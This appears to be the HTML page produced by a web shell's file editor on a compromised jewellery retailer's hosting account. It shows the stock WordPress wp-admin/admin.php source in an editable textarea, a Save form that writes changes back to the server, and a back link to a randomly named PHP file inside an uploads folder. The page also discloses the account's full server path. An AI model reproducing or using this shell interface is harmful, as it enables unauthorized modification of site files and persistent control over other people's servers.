<h2>Edit File - admin.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u548619843/domains/indusjewellery.com/public_html/Old-Site/newbackup/wp-admin/admin.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
/**
 * WordPress Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * In WordPress Administration Screens
 *
 * @since 2.3.2
 */
if ( ! defined(&#039;WP_ADMIN&#039;) )
	define(&#039;WP_ADMIN&#039;, true);

if ( ! defined(&#039;WP_NETWORK_ADMIN&#039;) )
	define(&#039;WP_NETWORK_ADMIN&#039;, false);

if ( ! defined(&#039;WP_USER_ADMIN&#039;) )
	define(&#039;WP_USER_ADMIN&#039;, false);

if ( ! WP_NETWORK_ADMIN &amp;&amp; ! WP_USER_ADMIN ) {
	define(&#039;WP_BLOG_ADMIN&#039;, true);
}

if ( isset($_GET[&#039;import&#039;]) &amp;&amp; !defined(&#039;WP_LOAD_IMPORTERS&#039;) )
	define(&#039;WP_LOAD_IMPORTERS&#039;, true);

require_once(dirname(dirname(__FILE__)) . &#039;/wp-load.php&#039;);

nocache_headers();

if ( get_option(&#039;db_upgraded&#039;) ) {
	flush_rewrite_rules();
	update_option( &#039;db_upgraded&#039;,  false );

	/**
	 * Fires on the next page load after a successful DB upgrade.
	 *
	 * @since 2.8.0
	 */
	do_action( &#039;after_db_upgrade&#039; );
} elseif ( get_option(&#039;db_version&#039;) != $wp_db_version &amp;&amp; empty($_POST) ) {
	if ( !is_multisite() ) {
		wp_redirect( admin_url( &#039;upgrade.php?_wp_http_referer=&#039; . urlencode( wp_unslash( $_SERVER[&#039;REQUEST_URI&#039;] ) ) ) );
		exit;

	/**
	 * Filter whether to attempt to perform the multisite DB upgrade routine.
	 *
	 * In single site, the user would be redirected to wp-admin/upgrade.php.
	 * In multisite, it is automatically fired, but only when this filter
	 * returns true.
	 *
	 * If the network is 50 sites or less, it will run every time. Otherwise,
	 * it will throttle itself to reduce load.
	 *
	 * @since 3.0.0
	 *
	 * @param bool true Whether to perform the Multisite upgrade routine. Default true.
	 */
	} elseif ( apply_filters( &#039;do_mu_upgrade&#039;, true ) ) {
		$c = get_blog_count();
		// If 50 or fewer sites, run every time. Else, run &quot;about ten percent&quot; of the time. Shh, don&#039;t check that math.
		if ( $c &lt;= 50 || ( $c &gt; 50 &amp;&amp; mt_rand( 0, (int)( $c / 50 ) ) == 1 ) ) {
			require_once( ABSPATH . WPINC . &#039;/http.php&#039; );
			$response = wp_remote_get( admin_url( &#039;upgrade.php?step=1&#039; ), array( &#039;timeout&#039; =&gt; 120, &#039;httpversion&#039; =&gt; &#039;1.1&#039; ) );
			/** This action is documented in wp-admin/network/upgrade.php */
			do_action( &#039;after_mu_upgrade&#039;, $response );
			unset($response);
		}
		unset($c);
	}
}

require_once(ABSPATH . &#039;wp-admin/includes/admin.php&#039;);

auth_redirect();

// Schedule trash collection
if ( !wp_next_scheduled(&#039;wp_scheduled_delete&#039;) &amp;&amp; !defined(&#039;WP_INSTALLING&#039;) )
	wp_schedule_event(time(), &#039;daily&#039;, &#039;wp_scheduled_delete&#039;);

set_screen_options();

$date_format = get_option(&#039;date_format&#039;);
$time_format = get_option(&#039;time_format&#039;);

wp_enqueue_script( &#039;common&#039; );

$editing = false;

if ( isset($_GET[&#039;page&#039;]) ) {
	$plugin_page = wp_unslash( $_GET[&#039;page&#039;] );
	$plugin_page = plugin_basename($plugin_page);
}

if ( isset( $_REQUEST[&#039;post_type&#039;] ) &amp;&amp; post_type_exists( $_REQUEST[&#039;post_type&#039;] ) )
	$typenow = $_REQUEST[&#039;post_type&#039;];
else
	$typenow = &#039;&#039;;

if ( isset( $_REQUEST[&#039;taxonomy&#039;] ) &amp;&amp; taxonomy_exists( $_REQUEST[&#039;taxonomy&#039;] ) )
	$taxnow = $_REQUEST[&#039;taxonomy&#039;];
else
	$taxnow = &#039;&#039;;

if ( WP_NETWORK_ADMIN )
	require(ABSPATH . &#039;wp-admin/network/menu.php&#039;);
elseif ( WP_USER_ADMIN )
	require(ABSPATH . &#039;wp-admin/user/menu.php&#039;);
else
	require(ABSPATH . &#039;wp-admin/menu.php&#039;);

if ( current_user_can( &#039;manage_options&#039; ) ) {
	/**
	 * Filter the maximum memory limit available for administration screens.
	 *
	 * This only applies to administrators, who may require more memory for tasks like updates.
	 * Memory limits when processing images (uploaded or edited by users of any role) are
	 * handled separately.
	 *
	 * The WP_MAX_MEMORY_LIMIT constant specifically defines the maximum memory limit available
	 * when in the administration back-end. The default is 256M, or 256 megabytes of memory.
	 *
	 * @since 3.0.0
	 *
	 * @param string &#039;WP_MAX_MEMORY_LIMIT&#039; The maximum WordPress memory limit. Default 256M.
	 */
	@ini_set( &#039;memory_limit&#039;, apply_filters( &#039;admin_memory_limit&#039;, WP_MAX_MEMORY_LIMIT ) );
}

/**
 * Fires as an admin screen or script is being initialized.
 *
 * Note, this does not just run on user-facing admin screens.
 * It runs on admin-ajax.php and admin-post.php as well.
 *
 * This is roughly analgous to the more general &#039;init&#039; hook, which fires earlier.
 *
 * @since 2.5.0
 */
do_action( &#039;admin_init&#039; );

if ( isset($plugin_page) ) {
	if ( !empty($typenow) )
		$the_parent = $pagenow . &#039;?post_type=&#039; . $typenow;
	else
		$the_parent = $pagenow;
	if ( ! $page_hook = get_plugin_page_hook($plugin_page, $the_parent) ) {
		$page_hook = get_plugin_page_hook($plugin_page, $plugin_page);
		// backwards compatibility for plugins using add_management_page
		if ( empty( $page_hook ) &amp;&amp; &#039;edit.php&#039; == $pagenow &amp;&amp; &#039;&#039; != get_plugin_page_hook($plugin_page, &#039;tools.php&#039;) ) {
			// There could be plugin specific params on the URL, so we need the whole query string
			if ( !empty($_SERVER[ &#039;QUERY_STRING&#039; ]) )
				$query_string = $_SERVER[ &#039;QUERY_STRING&#039; ];
			else
				$query_string = &#039;page=&#039; . $plugin_page;
			wp_redirect( admin_url(&#039;tools.php?&#039; . $query_string) );
			exit;
		}
	}
	unset($the_parent);
}

$hook_suffix = &#039;&#039;;
if ( isset($page_hook) )
	$hook_suffix = $page_hook;
else if ( isset($plugin_page) )
	$hook_suffix = $plugin_page;
else if ( isset($pagenow) )
	$hook_suffix = $pagenow;

set_current_screen();

// Handle plugin admin pages.
if ( isset($plugin_page) ) {
	if ( $page_hook ) {
		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where a callback is provided when the screen is registered.
		 *
		 * The dynamic portion of the hook name, $page_hook, refers to a mixture of plugin
		 * page information including:
		 * 1. The page type. If the plugin page is registered as a submenu page, such as for
		 *    Settings, the page type would be &#039;settings&#039;. Otherwise the type is &#039;toplevel&#039;.
		 * 2. A separator of &#039;_page_&#039;.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the $page_hook. Citing the example above,
		 * the hook name used would be &#039;load-settings_page_pluginbasename&#039;.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 2.1.0
		 */
		do_action( &#039;load-&#039; . $page_hook );
		if (! isset($_GET[&#039;noheader&#039;]))
			require_once(ABSPATH . &#039;wp-admin/admin-header.php&#039;);

		/**
		 * Used to call the registered callback for a plugin screen.
		 *
		 * @access private
		 *
		 * @since 1.5.0
		 */
		do_action( $page_hook );
	} else {
		if ( validate_file($plugin_page) )
			wp_die(__(&#039;Invalid plugin page&#039;));

		if ( !( file_exists(WP_PLUGIN_DIR . &quot;/$plugin_page&quot;) &amp;&amp; is_file(WP_PLUGIN_DIR . &quot;/$plugin_page&quot;) ) &amp;&amp; !( file_exists(WPMU_PLUGIN_DIR . &quot;/$plugin_page&quot;) &amp;&amp; is_file(WPMU_PLUGIN_DIR . &quot;/$plugin_page&quot;) ) )
			wp_die(sprintf(__(&#039;Cannot load %s.&#039;), htmlentities($plugin_page)));

		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where the file to load is directly included, rather than the use of a function.
		 *
		 * The dynamic portion of the hook name, $plugin_page, refers to the plugin basename.
		 *
		 * @see plugin_basename()
		 *
		 * @since 1.5.0
		 */
		do_action( &#039;load-&#039; . $plugin_page );

		if ( !isset($_GET[&#039;noheader&#039;]))
			require_once(ABSPATH . &#039;wp-admin/admin-header.php&#039;);

		if ( file_exists(WPMU_PLUGIN_DIR . &quot;/$plugin_page&quot;) )
			include(WPMU_PLUGIN_DIR . &quot;/$plugin_page&quot;);
		else
			include(WP_PLUGIN_DIR . &quot;/$plugin_page&quot;);
	}

	include(ABSPATH . &#039;wp-admin/admin-footer.php&#039;);

	exit();
} else if (isset($_GET[&#039;import&#039;])) {

	$importer = $_GET[&#039;import&#039;];

	if ( ! current_user_can(&#039;import&#039;) )
		wp_die(__(&#039;You are not allowed to import.&#039;));

	if ( validate_file($importer) ) {
		wp_redirect( admin_url( &#039;import.php?invalid=&#039; . $importer ) );
		exit;
	}

	if ( ! isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2]) ) {
		wp_redirect( admin_url( &#039;import.php?invalid=&#039; . $importer ) );
		exit;
	}

	/**
	 * Fires before an importer screen is loaded.
	 *
	 * The dynamic portion of the hook name, $importer, refers to the importer slug.
	 *
	 * @since 3.5.0
	 */
	do_action( &#039;load-importer-&#039; . $importer );

	$parent_file = &#039;tools.php&#039;;
	$submenu_file = &#039;import.php&#039;;
	$title = __(&#039;Import&#039;);

	if (! isset($_GET[&#039;noheader&#039;]))
		require_once(ABSPATH . &#039;wp-admin/admin-header.php&#039;);

	require_once(ABSPATH . &#039;wp-admin/includes/upgrade.php&#039;);

	define(&#039;WP_IMPORTING&#039;, true);

	/**
	 * Whether to filter imported data through kses on import.
	 *
	 * Multisite uses this hook to filter all data through kses by default,
	 * as a super administrator may be assisting an untrusted user.
	 *
	 * @since 3.1.0
	 *
	 * @param bool false Whether to force data to be filtered through kses. Default false.
	 */
	if ( apply_filters( &#039;force_filtered_html_on_import&#039;, false ) )
		kses_init_filters();  // Always filter imported data with kses on multisite.

	call_user_func($wp_importers[$importer][2]);

	include(ABSPATH . &#039;wp-admin/admin-footer.php&#039;);

	// Make sure rules are flushed
	flush_rewrite_rules(false);

	exit();
} else {
	/**
	 * Fires before a particular screen is loaded.
	 *
	 * The load-* hook fires in a number of contexts. This hook is for core screens.
	 *
	 * The dynamic portion of the hook name, $pagenow, is a global variable
	 * referring to the filename of the current page, such as &#039;admin.php&#039;,
	 * &#039;post-new.php&#039; etc. A complete hook for the latter would be &#039;load-post-new.php&#039;.
	 *
	 * @since 2.1.0
	 */
	do_action( &#039;load-&#039; . $pagenow );
	// Backwards compatibility with old load-page-new.php, load-page.php,
	// and load-categories.php actions.
	if ( $typenow == &#039;page&#039; ) {
		if ( $pagenow == &#039;post-new.php&#039; )
			do_action( &#039;load-page-new.php&#039; );
		elseif ( $pagenow == &#039;post.php&#039; )
			do_action( &#039;load-page.php&#039; );
	}  elseif ( $pagenow == &#039;edit-tags.php&#039; ) {
		if ( $taxnow == &#039;category&#039; )
			do_action( &#039;load-categories.php&#039; );
		elseif ( $taxnow == &#039;link_category&#039; )
			do_action( &#039;load-edit-link-categories.php&#039; );
	}
}

if ( ! empty( $_REQUEST[&#039;action&#039;] ) ) {
	/**
	 * Fires when an &#039;action&#039; request variable is sent.
	 *
	 * The dynamic portion of the hook name, $_REQUEST[&#039;action&#039;],
	 * refers to the action derived from the GET or POST request.
	 *
	 * @since 2.6.0
	 */
	do_action( &#039;admin_action_&#039; . $_REQUEST[&#039;action&#039;] );
}
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/uploads/products/others/6a3fbcc2deec3_65.php?dir=." class="btn gray">Kembali</a>
              </form>